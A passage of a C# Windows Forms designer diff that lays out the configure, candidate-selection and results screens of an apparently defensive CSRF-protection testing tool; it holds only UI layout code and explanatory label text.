System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SelectClmn.HeaderText = "SELECT"; + this.SelectClmn.Name = "SelectClmn"; + this.SelectClmn.ReadOnly = true; + this.SelectClmn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.SelectClmn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.SelectClmn.Width = 60; + // + // dataGridViewTextBoxColumn2 + // + this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn2.HeaderText = "ID"; + this.dataGridViewTextBoxColumn2.MinimumWidth = 50; + this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; + this.dataGridViewTextBoxColumn2.ReadOnly = true; + this.dataGridViewTextBoxColumn2.Width = 50; + // + // HostNameSelectClmn + // + this.HostNameSelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.HostNameSelectClmn.HeaderText = "HOSTNAME"; + this.HostNameSelectClmn.Name = "HostNameSelectClmn"; + this.HostNameSelectClmn.ReadOnly = true; + this.HostNameSelectClmn.Width = 120; + // + // MethodClmn + // + this.MethodClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.MethodClmn.HeaderText = "METHOD"; + this.MethodClmn.Name = "MethodClmn"; + this.MethodClmn.ReadOnly = true; + this.MethodClmn.Width = 60; + // + // URLClmn + // + this.URLClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.URLClmn.HeaderText = "URL"; + this.URLClmn.MinimumWidth = 150; + this.URLClmn.Name = "URLClmn"; + this.URLClmn.ReadOnly = true; + // + // FileClmn + // + this.FileClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.FileClmn.HeaderText = "FILE"; + this.FileClmn.Name = "FileClmn"; + this.FileClmn.ReadOnly = true; + this.FileClmn.Width = 40; + // + // SSLClmn + // + this.SSLClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SSLClmn.HeaderText = "SSL"; + this.SSLClmn.Name = "SSLClmn"; + this.SSLClmn.ReadOnly = true; + this.SSLClmn.Width = 30; + // + // ParametersClmn + // + this.ParametersClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ParametersClmn.HeaderText = "PARAMETERS"; + this.ParametersClmn.Name = "ParametersClmn"; + this.ParametersClmn.ReadOnly = true; + this.ParametersClmn.Visible = false; + this.ParametersClmn.Width = 85; + // + // CodeClmn + // + this.CodeClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.CodeClmn.HeaderText = "CODE"; + this.CodeClmn.Name = "CodeClmn"; + this.CodeClmn.ReadOnly = true; + this.CodeClmn.Width = 45; + // + // LengthClmn + // + this.LengthClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.LengthClmn.HeaderText = "LENGTH"; + this.LengthClmn.Name = "LengthClmn"; + this.LengthClmn.ReadOnly = true; + this.LengthClmn.Visible = false; + this.LengthClmn.Width = 55; + // + // ClmnMIME + // + this.ClmnMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ClmnMIME.HeaderText = "MIME"; + this.ClmnMIME.Name = "ClmnMIME"; + this.ClmnMIME.ReadOnly = true; + this.ClmnMIME.Visible = false; + this.ClmnMIME.Width = 60; + // + // SetCookieClmn + // + this.SetCookieClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SetCookieClmn.HeaderText = "SET-COOKIE"; + this.SetCookieClmn.Name = "SetCookieClmn"; + this.SetCookieClmn.ReadOnly = true; + this.SetCookieClmn.Visible = false; + this.SetCookieClmn.Width = 80; + // + // NotesClmn + // + this.NotesClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.NotesClmn.HeaderText = "NOTES"; + this.NotesClmn.Name = "NotesClmn"; + this.NotesClmn.ReadOnly = true; + this.NotesClmn.Visible = false; + this.NotesClmn.Width = 80; + // + // BaseTabs + // + this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; + this.BaseTabs.Controls.Add(this.ConfigureTab); + this.BaseTabs.Controls.Add(this.CandidatesTab); + this.BaseTabs.Controls.Add(this.ResultsTab); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(884, 561); + this.BaseTabs.TabIndex = 1; + this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); + // + // ConfigureTab + // + this.ConfigureTab.BackColor = System.Drawing.Color.White; + this.ConfigureTab.Controls.Add(this.ConfigurePanel); + this.ConfigureTab.Controls.Add(this.ConfigureStepProgressBar); + this.ConfigureTab.Location = new System.Drawing.Point(4, 25); + this.ConfigureTab.Name = "ConfigureTab"; + this.ConfigureTab.Padding = new System.Windows.Forms.Padding(3); + this.ConfigureTab.Size = new System.Drawing.Size(876, 532); + this.ConfigureTab.TabIndex = 0; + this.ConfigureTab.Text = " Configure "; + // + // ConfigurePanel + // + this.ConfigurePanel.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigurePanel.Controls.Add(this.label6); + this.ConfigurePanel.Controls.Add(this.ShowDocLL); + this.ConfigurePanel.Controls.Add(this.HostnamesScopeTree); + this.ConfigurePanel.Controls.Add(this.label4); + this.ConfigurePanel.Controls.Add(this.SessionRecordingCombo); + this.ConfigurePanel.Controls.Add(this.FileTypesScopeGrid); + this.ConfigurePanel.Controls.Add(this.TestModeRemoveTokenRB); + this.ConfigurePanel.Controls.Add(this.label5); + this.ConfigurePanel.Controls.Add(this.CsrfTokenReplacementValueTB); + this.ConfigurePanel.Controls.Add(this.TestModeReplaceTokenRB); + this.ConfigurePanel.Controls.Add(this.label3); + this.ConfigurePanel.Controls.Add(this.FindCandidatesBtn); + this.ConfigurePanel.Controls.Add(this.label2); + this.ConfigurePanel.Controls.Add(this.CsrfTokenParameterNameTB); + this.ConfigurePanel.Controls.Add(this.label1); + this.ConfigurePanel.Location = new System.Drawing.Point(0, 46); + this.ConfigurePanel.Margin = new System.Windows.Forms.Padding(0); + this.ConfigurePanel.Name = "ConfigurePanel"; + this.ConfigurePanel.Size = new System.Drawing.Size(876, 486); + this.ConfigurePanel.TabIndex = 27; + this.ConfigurePanel.Visible = false; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(9, 9); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(605, 13); + this.label6.TabIndex = 37; + this.label6.Text = "The CSRF Tester is used to discover the sections of the site where CSRF protectio" + + "n mechanisms are not properly implemented."; + // + // ShowDocLL + // + this.ShowDocLL.AutoSize = true; + this.ShowDocLL.Location = new System.Drawing.Point(9, 30); + this.ShowDocLL.Name = "ShowDocLL"; + this.ShowDocLL.Size = new System.Drawing.Size(122, 13); + this.ShowDocLL.TabIndex = 36; + this.ShowDocLL.TabStop = true; + this.ShowDocLL.Text = "How to use this feature?"; + this.ShowDocLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ShowDocLL_LinkClicked); + // + // HostnamesScopeTree + // + this.HostnamesScopeTree.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.HostnamesScopeTree.BackColor = System.Drawing.Color.White; + this.HostnamesScopeTree.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.HostnamesScopeTree.CheckBoxes = true; + this.HostnamesScopeTree.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HostnamesScopeTree.Location = new System.Drawing.Point(224, 204); + this.HostnamesScopeTree.Margin = new System.Windows.Forms.Padding(0); + this.HostnamesScopeTree.Name = "HostnamesScopeTree"; + this.HostnamesScopeTree.ShowPlusMinus = false; + this.HostnamesScopeTree.ShowRootLines = false; + this.HostnamesScopeTree.Size = new System.Drawing.Size(452, 277); + this.HostnamesScopeTree.TabIndex = 32; + this.HostnamesScopeTree.AfterCheck += new System.Windows.Forms.TreeViewEventHandler(this.HostnamesScopeTree_AfterCheck); + this.HostnamesScopeTree.BeforeCollapse += new System.Windows.Forms.TreeViewCancelEventHandler(this.HostnamesScopeTree_BeforeCollapse); + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(483, 103); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(389, 13); + this.label4.TabIndex = 22; + this.label4.Text = "(you can use an empty value, dummy value or valid CSRF token of another user.)"; + // + // SessionRecordingCombo + // + this.SessionRecordingCombo.FormattingEnabled = true; + this.SessionRecordingCombo.Items.AddRange(new object[] { + "UrlPathPart", + "Query", + "Body", + "Cookie", + "Header"}); + this.SessionRecordingCombo.Location = new System.Drawing.Point(405, 152); + this.SessionRecordingCombo.Name = "SessionRecordingCombo"; + this.SessionRecordingCombo.Size = new System.Drawing.Size(301, 21); + this.SessionRecordingCombo.TabIndex = 21; + // + // FileTypesScopeGrid + // + this.FileTypesScopeGrid.AllowUserToAddRows = false; + this.FileTypesScopeGrid.AllowUserToDeleteRows = false; + this.FileTypesScopeGrid.AllowUserToResizeRows = false; + this.FileTypesScopeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.FileTypesScopeGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle4.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle4.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.FileTypesScopeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle4; + this.FileTypesScopeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.FileTypesScopeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn1, + this.dataGridViewTextBoxColumn1}); + dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle5.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle5.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle5.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle5.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle5.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle5.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.FileTypesScopeGrid.DefaultCellStyle = dataGridViewCellStyle5; + this.FileTypesScopeGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.FileTypesScopeGrid.GridColor = System.Drawing.Color.White; + this.FileTypesScopeGrid.Location = new System.Drawing.Point(11, 204); + this.FileTypesScopeGrid.Margin = new System.Windows.Forms.Padding(0); + this.FileTypesScopeGrid.MultiSelect = false; + this.FileTypesScopeGrid.Name = "FileTypesScopeGrid"; + this.FileTypesScopeGrid.ReadOnly = true; + dataGridViewCellStyle6.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle6.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle6.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle6.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle6.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle6.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle6.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.FileTypesScopeGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle6; + this.FileTypesScopeGrid.RowHeadersVisible = false; + this.FileTypesScopeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.FileTypesScopeGrid.Size = new System.Drawing.Size(196, 277); + this.FileTypesScopeGrid.TabIndex = 25; + // + // dataGridViewCheckBoxColumn1 + // + this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn1.HeaderText = ""; + this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; + this.dataGridViewCheckBoxColumn1.ReadOnly = true; + this.dataGridViewCheckBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn1.Width = 20; + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn1.HeaderText = "SELECT FILE TYPES TO INCLUDE IN SCOPE"; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + this.dataGridViewTextBoxColumn1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // TestModeRemoveTokenRB + // + this.TestModeRemoveTokenRB.AutoSize = true; + this.TestModeRemoveTokenRB.Location = new System.Drawing.Point(19, 127); + this.TestModeRemoveTokenRB.Name = "TestModeRemoveTokenRB"; + this.TestModeRemoveTokenRB.Size = new System.Drawing.Size(569, 17); + this.TestModeRemoveTokenRB.TabIndex = 6; + this.TestModeRemoveTokenRB.Text = "By removing the token parameter (If the parameter part of a format like XML or JS" + + "ON then the value is set to empty.)"; + this.TestModeRemoveTokenRB.UseVisualStyleBackColor = true; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(8, 182); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(312, 13); + this.label5.TabIndex = 23; + this.label5.Text = "Provide a Scope for finding candidates suitable for CSRF testing:"; + // + // CsrfTokenReplacementValueTB + // + this.CsrfTokenReplacementValueTB.Location = new System.Drawing.Point(209, 99); + this.CsrfTokenReplacementValueTB.Name = "CsrfTokenReplacementValueTB"; + this.CsrfTokenReplacementValueTB.Size = new System.Drawing.Size(273, 20); + this.CsrfTokenReplacementValueTB.TabIndex = 5; + this.CsrfTokenReplacementValueTB.Text = "XXXXXXXXXXXXXXXXXX"; + // + // TestModeReplaceTokenRB + // + this.TestModeReplaceTokenRB.AutoSize = true; + this.TestModeReplaceTokenRB.Checked = true; + this.TestModeReplaceTokenRB.Location = new System.Drawing.Point(19, 100); + this.TestModeReplaceTokenRB.Name = "TestModeReplaceTokenRB"; + this.TestModeReplaceTokenRB.Size = new System.Drawing.Size(188, 17); + this.TestModeReplaceTokenRB.TabIndex = 4; + this.TestModeReplaceTokenRB.TabStop = true; + this.TestModeReplaceTokenRB.Text = "By replacing the token value with -"; + this.TestModeReplaceTokenRB.UseVisualStyleBackColor = true; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(3, 155); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(396, 13); + this.label3.TabIndex = 7; + this.label3.Text = "If you want to use a Login Sequence Recording during the testing then select one:" + + ""; + // + // FindCandidatesBtn + // + this.FindCandidatesBtn.Location = new System.Drawing.Point(593, 56); + this.FindCandidatesBtn.Name = "FindCandidatesBtn"; + this.FindCandidatesBtn.Size = new System.Drawing.Size(191, 23); + this.FindCandidatesBtn.TabIndex = 0; + this.FindCandidatesBtn.Text = "Find Suitable Candidates for Testing"; + this.FindCandidatesBtn.UseVisualStyleBackColor = true; + this.FindCandidatesBtn.Click += new System.EventHandler(this.FindCandidatesBtn_Click); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(8, 80); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(224, 13); + this.label2.TabIndex = 3; + this.label2.Text = "How do you want to test for CSRF protection?"; + // + // CsrfTokenParameterNameTB + // + this.CsrfTokenParameterNameTB.Location = new System.Drawing.Point(261, 56); + this.CsrfTokenParameterNameTB.Name = "CsrfTokenParameterNameTB"; + this.CsrfTokenParameterNameTB.Size = new System.Drawing.Size(280, 20); + this.CsrfTokenParameterNameTB.TabIndex = 1; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(8, 60); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(249, 13); + this.label1.TabIndex = 2; + this.label1.Text = "Enter the name of the Anti-CSRF Token Parameter:"; + // + // ConfigureStepProgressBar + // + this.ConfigureStepProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigureStepProgressBar.Location = new System.Drawing.Point(153, 9); + this.ConfigureStepProgressBar.Name = "ConfigureStepProgressBar"; + this.ConfigureStepProgressBar.Size = new System.Drawing.Size(523, 23); + this.ConfigureStepProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.ConfigureStepProgressBar.TabIndex = 26; + // + // CandidatesTab + // + this.CandidatesTab.BackColor = System.Drawing.Color.White; + this.CandidatesTab.Controls.Add(this.CandidatesSplit); + this.CandidatesTab.Location = new System.Drawing.Point(4, 25); + this.CandidatesTab.Name = "CandidatesTab"; + this.CandidatesTab.Padding = new System.Windows.Forms.Padding(3); + this.CandidatesTab.Size = new System.Drawing.Size(876, 532); + this.CandidatesTab.TabIndex = 1; + this.CandidatesTab.Text = " Select Candidates "; + // + // CandidatesSplit + // + this.CandidatesSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.CandidatesSplit.Location = new System.Drawing.Point(3, 3); + this.CandidatesSplit.Name = "CandidatesSplit"; + this.CandidatesSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // CandidatesSplit.Panel1 + // + this.CandidatesSplit.Panel1.Controls.Add(this.label7); + this.CandidatesSplit.Panel1.Controls.Add(this.TestCandidatesBtn); + this.CandidatesSplit.Panel1.Controls.Add(this.CandidatesStepProgressBar); + // + // CandidatesSplit.Panel2 + // + this.CandidatesSplit.Panel2.Controls.Add(this.CandidatesBaseSplit); + this.CandidatesSplit.Size = new System.Drawing.Size(870, 526); + this.CandidatesSplit.SplitterDistance = 59; + this.CandidatesSplit.SplitterWidth = 2; + this.CandidatesSplit.TabIndex = 29; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(7, 39); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(670, 13); + this.label7.TabIndex = 37; + this.label7.Text = "Select Requests that perform some important action on the server, these will be t" + + "ested with invalid CSRF tokens to check if CSRF is possible."; + // + // ResultsTab + // + this.ResultsTab.BackColor = System.Drawing.Color.White; + this.ResultsTab.Controls.Add(this.ResultsBaseSplit); + this.ResultsTab.Location = new System.Drawing.Point(4, 25); + this.ResultsTab.Name = "ResultsTab"; + this.ResultsTab.Size = new System.Drawing.Size(876, 532); + this.ResultsTab.TabIndex = 2; + this.ResultsTab.Text = " Results "; + // + // ResultsBaseSplit + // + this.ResultsBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsBaseSplit.Location = new System.Drawing.Point(0, 0); + this.ResultsBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.ResultsBaseSplit.Name = "ResultsBaseSplit"; + this.ResultsBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ResultsBaseSplit.Panel1 + // + this.ResultsBaseSplit.Panel1.Controls.Add(this.ResultsTopSplit); + // + // ResultsBaseSplit.Panel2 + // + this.ResultsBaseSplit.Panel2.Controls.Add(this.ResultsBottomTabs); + this.ResultsBaseSplit.Size = new System.Drawing.Size(876, 532); + this.ResultsBaseSplit.SplitterDistance = 249; + this.ResultsBaseSplit.TabIndex = 0; + // + // ResultsTopSplit + // + this.ResultsTopSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsTopSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.ResultsTopSplit.Location = new System.Drawing.Point(0, 0); + this.ResultsTopSplit.Name = "ResultsTopSplit"; + this.ResultsTopSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ResultsTopSplit.Panel1 + // + this.ResultsTopSplit.Panel1.Controls.Add(this.ResultsStepProgressBar); + this.ResultsTopSplit.Panel1.Controls.Add(this.label8); + // + // ResultsTopSplit.Panel2 + // + this.ResultsTopSplit.Panel2.Controls.Add(this.ResultsGrid); + this.ResultsTopSplit.Size = new System.Drawing.Size(876, 249); + this.ResultsTopSplit.SplitterDistance = 57; + this.ResultsTopSplit.TabIndex = 39; + // + // ResultsStepProgressBar + // + this.ResultsStepProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ResultsStepProgressBar.Location = new System.Drawing.Point(84, 7); + this.ResultsStepProgressBar.Name = "ResultsStepProgressBar"; + this.ResultsStepProgressBar.Size = new System.Drawing.Size(700, 23); + this.ResultsStepProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.ResultsStepProgressBar.TabIndex = 28; + this.ResultsStepProgressBar.Visible = false; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(28, 33); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(800, 13); + this.label8.TabIndex = 38; + this.label8.Text = "The entries that have a low percentage of difference indicate that the server ret" + + "urns the same content even when the CSRF token is invalid so they could be vulne" + + "rable."; + // + // ResultsGrid + // + this.ResultsGrid.AllowUserToAddRows = false; + this.ResultsGrid.AllowUserToDeleteRows = false; + this.ResultsGrid.AllowUserToOrderColumns = true; + this.ResultsGrid.AllowUserToResizeRows = false; + this.ResultsGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.ResultsGrid.BackgroundColor = System.Drawing.Color.White; + this.ResultsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle7.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle7.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle7.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle7.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle7.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ResultsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle7; + this.ResultsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.ResultsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.IDClmn, + this.HostNameClmn, + this.TestedUrlClmn, + this.TestIdClmn, + this.OriginalVsTestClmn, + this.OriginalRequestBinaryStringClmn, + this.OriginalResponseBinaryStringClmn, + this.TestRequestBinaryStringClmn, + this.TestResponseBinaryStringClmn}); + dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle8.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.ResultsGrid.DefaultCellStyle = dataGridViewCellStyle8; + this.ResultsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ResultsGrid.GridColor = System.Drawing.Color.White; + this.ResultsGrid.Location = new System.Drawing.Point(0, 0); + this.ResultsGrid.Margin = new System.Windows.Forms.Padding(0); + this.ResultsGrid.MultiSelect = false; + this.ResultsGrid.Name = "ResultsGrid"; + this.ResultsGrid.ReadOnly = true; + dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle9.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle9.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle9.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle9.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle9.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle9.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ResultsGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle9; + this.ResultsGrid.RowHeadersVisible = false; + this.ResultsGrid.RowHeadersWidth = 10; + this.ResultsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ResultsGrid.Size = new System.Drawing.Size(876, 188); + this.ResultsGrid.TabIndex = 5; + this.ResultsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ResultsGrid_CellClick); + this.ResultsGrid.SelectionChanged += new System.EventHandler(this.ResultsGrid_SelectionChanged); + // + // IDClmn + // + this.IDClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.IDClmn.HeaderText = "ID"; + this.IDClmn.MinimumWidth = 50; + this.IDClmn.Name = "IDClmn"; + this.IDClmn.ReadOnly = true; + this.IDClmn.Width = 50; + // + // HostNameClmn + // + this.HostNameClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.HostNameClmn.FillWeight = 35.96939F; + this.HostNameClmn.HeaderText = "HostName"; + this.HostNameClmn.Name = "HostNameClmn"; + this.HostNameClmn.ReadOnly = true; + this.HostNameClmn.Width = 82; + // + // TestedUrlClmn + // + this.TestedUrlClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.TestedUrlClmn.FillWeight = 35.96939F; + this.TestedUrlClmn.HeaderText = "URL"; + this.TestedUrlClmn.Name = "TestedUrlClmn"; + this.TestedUrlClmn.ReadOnly = true; + // + // TestIdClmn + // + this.TestIdClmn.HeaderText = "Test ID"; + this.TestIdClmn.Name = "TestIdClmn"; + this.TestIdClmn.ReadOnly = true; + this.TestIdClmn.Visible = false; + // + // OriginalVsTestClmn + // + this.OriginalVsTestClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.OriginalVsTestClmn.FillWeight = 35.96939F; + this.OriginalVsTestClmn.HeaderText = "Percentage of Difference in Response due to Invalid Token"; + this.OriginalVsTestClmn.Name = "OriginalVsTestClmn"; + this.OriginalVsTestClmn.ReadOnly = true; + this.OriginalVsTestClmn.Width = 314; + // + // OriginalRequestBinaryStringClmn + // + this.OriginalRequestBinaryStringClmn.HeaderText = "OriginalRequestBinaryString"; + this.OriginalRequestBinaryStringClmn.Name = "OriginalRequestBinaryStringClmn"; + this.OriginalRequestBinaryStringClmn.ReadOnly = true; + this.OriginalRequestBinaryStringClmn.Visible = false; + // + // OriginalResponseBinaryStringClmn + // + this.OriginalResponseBinaryStringClmn.HeaderText = "OriginalResponseBinaryString"; + this.OriginalResponseBinaryStringClmn.Name = "OriginalResponseBinaryStringClmn"; + this.OriginalResponseBinaryStringClmn.ReadOnly = true; + this.OriginalResponseBinaryStringClmn.Visible = false; + // + // TestRequestBinaryStringClmn + // + this.TestRequestBinaryStringClmn.HeaderText = "TestRequestBinaryString"; + this.TestRequestBinaryStringClmn.Name = "TestRequestBinaryStringClmn"; + 